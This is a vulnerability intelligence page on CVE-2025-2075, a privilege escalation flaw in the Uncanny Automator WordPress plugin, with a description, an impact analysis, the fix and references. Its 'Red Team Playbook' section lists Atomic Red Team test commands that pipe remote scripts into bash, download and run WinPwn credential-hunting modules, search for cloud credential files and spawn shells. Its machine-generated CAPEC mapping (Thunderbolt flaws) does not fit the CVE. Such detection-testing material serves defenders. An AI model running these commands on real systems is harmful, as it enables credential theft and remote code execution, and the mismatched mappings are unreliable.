CVE-2025-2075
Overview
This vulnerability is a privilege escalation flaw caused by insufficient capability checks within the add_role() and user_role() functions of the Uncanny Automator WordPress plugin. The root cause is the absence of proper validation via the validate_rest_call() function when modifying user roles. The affected component is the role management mechanism within the plugin's REST API endpoints handling user role assignments.
Vulnerability Description
The Uncanny Automator – Easy Automation, Integration, Webhooks & Workflow Builder Plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 6.3.0.2. This is due to add_role() and user_role() functions missing proper capability checks performed through the validate_rest_call() function. This makes it possible for unauthenticated attackers to set the role of arbitrary users to administrator granting full access to the site, though privilege escalation requires an active account on the site so this is considered an authenticated privilege escalation.
Impact
An attacker with an active account on the site can escalate privileges to administrator by exploiting this vulnerability, gaining full administrative control over the WordPress site. This enables unauthorized access to sensitive data, configuration changes, and potential site takeover. The attack requires authentication (PR:L) but no user interaction (UI:N) and can be executed remotely (AV:N) with low complexity (AC:L), resulting in high confidentiality, integrity, and availability impact (C:H/I:H/A:H).
Solution
Users should upgrade the Uncanny Automator plugin to a version later than 6.3.0.2 where the issue is resolved. The vendor has addressed the vulnerability by adding proper capability validation in the add_role() and user_role() functions, as documented in WordPress plugin trac changesets 3257300 and 3265280. For detailed patch instructions and verification, refer to the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/86b4b0d6-bda2-47f3-a0b5-9733cb7a11f6?source=cve.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Uncanny Automator plugin for WordPress arises from inadequate capability checks in the add_role() and user_role() functions, specifically within the validate_rest_call() function. This oversight allows authenticated users to escalate their privileges by manipulating user roles without proper authorization checks. The absence of these checks means that an attacker with a valid account can change the roles of other users, including elevating them to administrator status. This flaw is particularly concerning as it undermines the fundamental principle of least privilege, which is critical in maintaining secure user access controls.
Exploitation of this vulnerability can occur through various attack vectors. An attacker, once authenticated, could leverage the REST API to send crafted requests that modify user roles. For instance, if an attacker gains access to a low-privileged account, they can exploit this vulnerability to promote themselves or other users to an administrator role. This could be achieved through social engineering tactics to obtain login credentials or by exploiting other weaknesses within the WordPress environment. Once an attacker has administrator privileges, they can manipulate site content, install malicious plugins, or exfiltrate sensitive data, leading to severe consequences for the affected organization.
The real-world impact of this vulnerability is significant, particularly for businesses relying on the Uncanny Automator plugin for their WordPress sites. Given that the plugin is designed for automation and integration, a successful attack could disrupt business operations, compromise data integrity, and damage the organization's reputation. The potential for unauthorized access to sensitive information, customer data, or proprietary content poses a considerable business risk. Furthermore, the elevated privileges could lead to compliance violations, especially for organizations subject to regulations such as GDPR or HIPAA, resulting in legal repercussions and financial penalties.
To detect and mitigate this vulnerability, organizations should implement several strategies. Regular security audits and vulnerability assessments are crucial to identify and remediate weaknesses in their WordPress installations. Monitoring user activity logs can help detect unusual behavior, such as unauthorized role changes or access attempts from unfamiliar IP addresses. Additionally, organizations should ensure that all plugins, including the Uncanny Automator, are updated to the latest versions, as developers often release patches to address known vulnerabilities. Employing a web application firewall (WAF) can also provide an additional layer of protection by filtering and monitoring HTTP requests to block malicious activities.
In conclusion, the privilege escalation vulnerability in the Uncanny Automator plugin poses a serious threat to WordPress sites by allowing authenticated users to gain unauthorized administrative access. The implications of such an attack can be devastating, affecting not only the security of the site but also the broader business operations and reputation. Organizations must prioritize proactive security measures, including regular updates, monitoring, and comprehensive security practices, to safeguard against this and similar vulnerabilities in the future.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Uncannyowl | Uncanny Automator | All |
cpe:2.3:a:uncannyowl:uncanny_automator:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-665 | Exploitation of Thunderbolt Protection Flaws |
47%
|
Low | Very High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-2075 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/86b4b0d6-bda2-47f3-a0b5-9733cb7a11f6?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/3257300/uncanny-automator/trunk/src/core/classes/class-background-actions.php |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/3265280/uncanny-automator/trunk/src/core/classes/class-background-actions.php |